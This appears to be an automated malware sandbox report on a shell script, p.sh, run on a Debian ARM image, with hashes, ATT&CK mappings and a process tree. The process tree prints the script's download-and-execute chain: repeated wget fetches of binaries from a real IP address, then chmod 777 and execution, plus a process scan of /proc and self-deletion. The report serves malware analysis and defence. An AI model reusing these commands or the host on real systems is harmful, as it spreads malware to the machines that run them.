3e37053c36f83c855c98cd7303315fdc2cb57e69c7c1512df43a481ee0b63708

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/06/2026, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 826B
Sample260609-seysjsds8j
SHA256 3e37053c36f83c855c98cd7303315fdc2cb57e69c7c1512df43a481ee0b63708
MD5 3b68067fe3497691c871f42274adabc6
SHA1 fb3fd42f7f1701e02d198cd94f50c2978e06d9f1
SHA512 8ee6c8d0c92e213ef435b27172f72a91fecb77a2fae2931abbd5f96b2521da26ffe9e516a7c8bfcac1fa8369de7e22eaad16a034e197ddcf8e72f702867e41d4
TLSH
T1510188CEC401DA104295E89E22D726907820C3CF26860BA87FDC443DEBA9A48B01AE89
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
827	chmod
767	chmod
793	chmod
811	chmod
822	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/jzj	770	p.sh
/tmp/tTx	795	p.sh
/tmp/AYi	813	p.sh
/tmp/L0S	823	p.sh
/tmp/vft2	828	p.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jzj	wget
File opened for modification	/tmp/tTx	wget
File opened for modification	/tmp/AYi	wget
File opened for modification	/tmp/L0S	wget
File opened for modification	/tmp/vft2	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:638
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:639
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:645
- /bin/ls
  ls -l /proc/102/exe
  2⤵
  - Reads runtime system information
  PID:650
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:658
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:661
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/129/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/130/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/132/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/154/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/223/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/282/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/315/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/320/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/561/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/576/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/580/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/628/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/629/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/630/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/93/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/rm
  rm -rf jzj
  2⤵
  PID:752
- /usr/bin/wget
  wget http://188.132.232.81/jzj
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 jzj
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/jzj
  ./jzj pdvr
  2⤵
  PID:770
- /bin/sh
  /bin/sh ./jzj pdvr
  2⤵
  PID:770
- /bin/rm
  rm -rf tTx
  2⤵
  PID:773
- /usr/bin/wget
  wget http://188.132.232.81/tTx
  2⤵
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod 777 tTx
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/tTx
  ./tTx pdvr
  2⤵
  PID:795
- /bin/sh
  /bin/sh ./tTx pdvr
  2⤵
  PID:795
- /bin/rm
  rm -rf AYi
  2⤵
  PID:797
- /usr/bin/wget
  wget http://188.132.232.81/AYi
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 AYi
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/AYi
  ./AYi pdvr
  2⤵
  PID:813
- /bin/sh
  /bin/sh ./AYi pdvr
  2⤵
  PID:813
- /bin/rm
  rm -rf L0S
  2⤵
  PID:816
- /usr/bin/wget
  wget http://188.132.232.81/L0S
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 L0S
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/L0S
  ./L0S pdvr
  2⤵
  PID:823
- /bin/sh
  /bin/sh ./L0S pdvr
  2⤵
  PID:823
- /bin/rm
  rm -rf vft2
  2⤵
  PID:825
- /usr/bin/wget
  wget http://188.132.232.81/vft2
  2⤵
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 vft2
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/vft2
  ./vft2 pdvr
  2⤵
  PID:828
- /bin/sh
  /bin/sh ./vft2 pdvr
  2⤵
  PID:828
- /bin/rm
  rm -rf p
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

jzj

Path /tmp/jzj
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512